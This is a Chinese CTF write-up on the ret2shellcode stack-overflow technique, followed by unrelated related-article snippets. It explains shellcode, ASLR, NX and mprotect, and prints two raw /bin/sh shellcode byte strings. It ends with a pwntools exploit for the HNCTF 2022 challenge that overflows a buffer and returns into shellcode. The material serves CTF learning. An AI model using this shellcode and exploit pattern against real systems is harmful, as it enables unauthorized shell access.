ret2shellcode

news/2024/7/4 16:33:35/文章来源:https://www.cnblogs.com/nanhang/p/18276415

参考链接 :基本 ROP - CTF Wiki (ctf-wiki.org)
参考链接: https://www.freebuf.com/vuls/266711.html
参考链接:PWN入门(2-2-1)-栈迁移(x86) (yuque.com)

介绍

栈溢出漏洞的一种利用方式,通过向可写入可执行内存写入shellcode,并利用栈溢出漏洞将返回地址覆盖为shellcode的首地址加以执行。

原理

在讲原理之前我们先讲一下shellcode是什么?

Shellcode是什么?

shellcode 是一种小型程序代码,通常是以机器码的形式存在,被用于在目标系统上执行特定的服务。

通俗说就是一段可以获得shell的机器码

shellcode的特征和利用

1.自包含性

shellcode通常是自包含的,这意味着它不依赖于外部的库或资源,能够独立运行。

2.编写方式

shellcode 通常是用汇编语言编写的,然后汇编成机器码,这是因为机器码可以直接在目标系统的处理器上执行,并且具有很高的执行效率。

3.常见用途

在CTF中主要用途为获得一个 shell。

shellcode代码

shellcode 21 字节

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

shellcode 23 字节

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

ASLR保护

ASLR是一个Linux系统保护机制,有效的防止了很多漏洞。

ASLR是操作系统的功能选项,在ELF文件加载到内存的时候发动,会影响到栈、动态链接库、堆的基址。开启后,每次程序加载使栈、动态链接库、堆的基地址都会随机化。

ASLR有三种状态

/proc/sys/kernel/randomize_va_space的值决定着ASLR的状态

1.为0,地址随机化关闭

2.为1,随机化stack、mmap映射、vdso

3.为,2随机化stack、mmap映射、vdso、heap(默认选项)

NX保护

NX保护机制的全写为 NO-Execute(不可执行),NX的原理是将数据所在内存页标识为不可执行,当程序被劫持到数据页(不可执行内存)时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可执行,此时CPU就会抛出异常,而不是去执行数据。

早期我们将shellcode写入缓冲区执行,但是因为ASLR保护的出现这种利用方法难度越来越高。
​除此之外还可以向其他可读可写段,比如bss段写入shellcode,然后将程序流指向其地址就可以执行。

一般ret2shellcode的前提是没有NX保护,但是即便存在NX保护也有办法shellcode。

这里介绍一个可以修改内存权限的函数。

mprotect函数,可以改写内存权限

  • 第一个参数:开始地址(该地址应是0x1000的倍数,以页方式对齐)
  • 第二个参数:指定长度(长度也应该是0x1000的倍数)
  • 第三个参数:指定属性(r=4、w=2、x=1)

如果程序中存在这个函数就可以调用这个函数修改内存权限实现ret2shellcode。

例题

[HNCTF 2022 Week1]ret2shellcode

下载附件

拿到附件后,先进行checksec保护分析。

image-20240522093119497

可以看到程序只存在NX保护和RELRO保护。

分析main函数代码

image-20240522093333829

发现危险函数read,分析代码逻辑

定义一个char型数组s,长度为256,read函数从标准输入读取0x110个字符即十进制272个字符。读取字符数超过数组长度,所以判断这里存在栈溢出。并且溢出16个字节,足够覆盖掉rbp和返回地址。

strcpy函数将数组s的所有内容复制到buff中。buff位于bss段,即未初始化全局变量。但是bss段并没有可执行权限,也就是shellcode不可执行

这时发现mprotect函数

函数中参数为7,即将这段内存区域修改为可读可写可执行。

动态调试查看buff是否在修改后的可执行段中

查看函数执行前的buff权限

buff地址:0x4040a0

image-20240522100436051

函数执行后的buff权限

image-20240522100745857

分析发现函数执行之后buff有了可执行权限。

于是我们可以用ret2shellcode

通过将shell写入这段内存中,再通过栈溢出覆盖返回地址为buff地址将rip指针寄存器指向其地址执行shell。

exp
from pwn import *context(log_level="debug",arch="amd64")p=remote("node5.anna.nssctf.cn",22419)
elf=ELF("./pwn")#生成shell
#这里也可以使用现成的shellcode
#shellcode="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
shellcode = asm(shellcraft.sh())buf_addr = elf.symbols["buf"]
#shellcode指定为0x108字节最大宽度,不够用a补齐
p.sendline(shellcode.ljust(0x108,b"a") + p64(buf_addr))                                                                 
p.interactive()                                                                                                         

拿到flag

image-20240522102649810

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/734200.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

判断存在与否

问题:A、B两个表,在B表中判断其中数据在A表是否存在。 函数公式解决: =COUNTIF(A!A:A,A2)

有点难以描述的问题(转列+排序+去重)

问题: 以下数据起始值为0,与0同行的2在数据源中有重复,则取与之重复的2的同行数据即6,6在数据源中仍有重复,再取与之重复的6的同行数据8,8在数据源中没有重复,则为第一行第二列的结果。 以此类推。函数公式解决:=WRAPROWS(UNIQUE(SORT(TOCOL(A3:B8)),,1),2) 先用ToCal…

outside_的第三次博客作业

outside_的第三次博客作业 --Wenxiaowenyy 前言: 这次博客是本学期的最后一次博客,也是大一的最后篇博客,回顾这学期学习java的热情以及完成大作业的积极性比起学c语言的时候减少了许多,原因有很多,其一是自己变懒惰了,其二是这学期的java比起上学期的c语言的确难度增加了…

最大值减不为0的最小值

问题:一列中的最大值减去不为0的最小数(所有数据均为正数) 函数公式解决:=MAX(B4:B7)-MINIFS(B4:B7,B4:B7,">0")如果数据有正有负,则需要用MaxIfs减去MinIfs,MaxIfs与MinIfs用法相同。

搭建rust开发环境-记录

通过官网教程(https://www.rust-lang.org/zh-CN/learn/get-started)下载rustup安装 在项目开始的时候提示需要解析工具,按照提示需下载vsstudio,安装的时候选择c++开发桌面程序,不然后面build时候报错 参考文档:https://blog.csdn.net/weixin_44475303/article/details/1…

文本时间转成小数

问题:文本时间(**小时**分钟**秒)转成小数,小时部分为整数。 函数公式解决:传统套路 =SUBSTITUTE(SUBSTITUTE(A2,"小",),"钟",)*24 新套路 =SUBSTITUTES(A2,{"小","钟"},)*24 更新的套路(正则) =REGEXP(A2,"[小钟]",…

Face Adapter - 一键面部表情迁移、换脸工具 本地一键整合包下载

Face Adapter是一款高效的人脸编辑适配器,由浙江大学和腾讯联合开发,适用于预先训练的扩散模型,专门针对人脸再现和交换任务。只需要上传一张源脸和一张参考人脸,就能按照参考人脸的风格生成相同的面部的表情,一键生成两张换脸照片。类似的ID保持的人像生成软件,还有我们…

高级筛选超过15位的数字

问题:高级筛选直接设置条件,当条件的数字超过15位时会出现错误,要如何解决。 解决:在高级筛选条件中设置公式,公式所引用单元格为数据源表标题行下第一行,公式所在单元格上一个单元格必须空

OOP第三轮大作业总结

关于学习OOP的一点总结 本学期的pta也是走到尾声了,一路过来最深的体会是想做好面向对象真不是件容易的事情,但它确实在日常生活中发挥了很大的作用。个人很喜欢这种和实际结合起来的课程,但几个月下来我学得并不是很好,只能日后自己钻研了。 个人体会 关于语法: 1.因为一…

第三次大作业Blog

目录前言设计与分析踩坑心得改进建议总结 前言 知识点:类与对象的应用: 在三次大作业中,类与对象的应用无疑是核心和基础。这充分体现了Java作为一种面向对象编程语言的特性。通过定义类,我们可以创建具有特定属性和行为的对象,从而构建出复杂的程序逻辑。在每次大作业中,…

前端调用后端产生跨域问题解决

[参考文章](https://www.cnblogs.com/zhaodalei/p/17090119.html) ## 问题复现 * 前端的地址是* 后端的的请求资源地址 http://127.0.0.1:3000/api/category/list。 * 当前端请求获取后端数据时,会报如下错误,导致资源加载不出来。但是直接访问是可以获得数据的。说明不是数据…

java第三次大作业blog

pta第三次博客 目录 • pta第三次博客 o 1.前言 o 2.设计与分析 o 3.踩坑心得: o 4.改进建议 o 5.总结1.前言 这两次题目集的主要考察的知识点是继承和多态,包括对super、extend关键字的使用,方法的重写,类的继承,接口,排序,正则表达式等。 在数据处理方面,作业同样要求…

Python基础之多进程

目录1 多进程1.1 简介1.2 Linux下多进程1.3 multiprocessing1.4 Pool1.5 进程间通信1.6 分布式进程 1 多进程 1.1 简介 要让Python程序实现多进程(multiprocessing),我们先了解操作系统的相关知识。 Unix/Linux操作系统提供了一个fork()系统调用,它非常特殊。普通的函数调用…

[LeetCode] 169. Majority Element

排序,返回中值。class Solution:def majorityElement(self, nums: List[int]) -> int:#always existsnums.sort()return nums[len(nums)//2]

BUUCTF---childRSA(费马引理)

题目点击查看代码 from random import choice from Crypto.Util.number import isPrime, sieve_base as primes from flag import flagdef getPrime(bits):while True:n = 2while n.bit_length() < bits:n *= choice(primes)if isPrime(n + 1):return n + 1e = 0x10001 m = …

Python 使用__slots__来限制实例动态添加属性

在Python中,是可以随便在对象实例中动态添加属性的。那么,怎么样可以防止其他人在调用类实例的时候胡乱添加属性和方法?使用 __slots__ 属性,来限制 class 实例能添加的属性也就是说,只有在 __slots__ 变量中的属性才能被动态添加,否则会添加失败。例如,创建一个 Person …

[python] Python日志记录库loguru使用指北

Loguru是一个功能强大且易于使用的开源Python日志记录库。它建立在Python标准库中的logging模块之上,并提供了更加简洁直观、功能丰富的接口。Logging模块的使用见:Python日志记录库logging总结。Loguru官方仓库见:loguru,loguru官方文档见: loguru-doc。 Loguru的主要特点…

Codeforces Round 955 (Div. 2, with prizes from NEAR!) codeforces div2 955

A. Soccer ------------------------题解--------------- 给你开始比分和结束比分问你中间两队比分有没有相等过有可能就是YES不可能就是NO 结束时两队比分肯定>=各自队伍开始时比分,我们只需要让开始时大的先到达结束比分,再让开始时落后的比分到达结束时比分,只需要在心…

PTA题目集7~8的总结

PTA题目集7~8的总结 一、前言 第七次题目集为家居强电电路模拟程序3。本题模拟的控制设备包括:开关、互斥开关、分档调速器、连续调速器。模拟的受控设备包括:灯、风扇、受控窗帘。两种设备都有两根引脚,通过两根引脚电压的电压差驱动设备工作。输入信息有设备信息、连接信息…

STM32F4驱动USB实现虚拟串口

实现目的 使用Dap-link和stlink的时候,就发现这些仿真器上并没有USB转TTL芯片,就可以实现USB转串口,实现虚拟串口,非常方便。这里实测得出,使用USB虚拟串口,可以轻松达到921600波特率,接近1M/s,因为这个虚拟串口实际就是USB通讯,使用USB通讯,模拟COM类通讯端口协议,…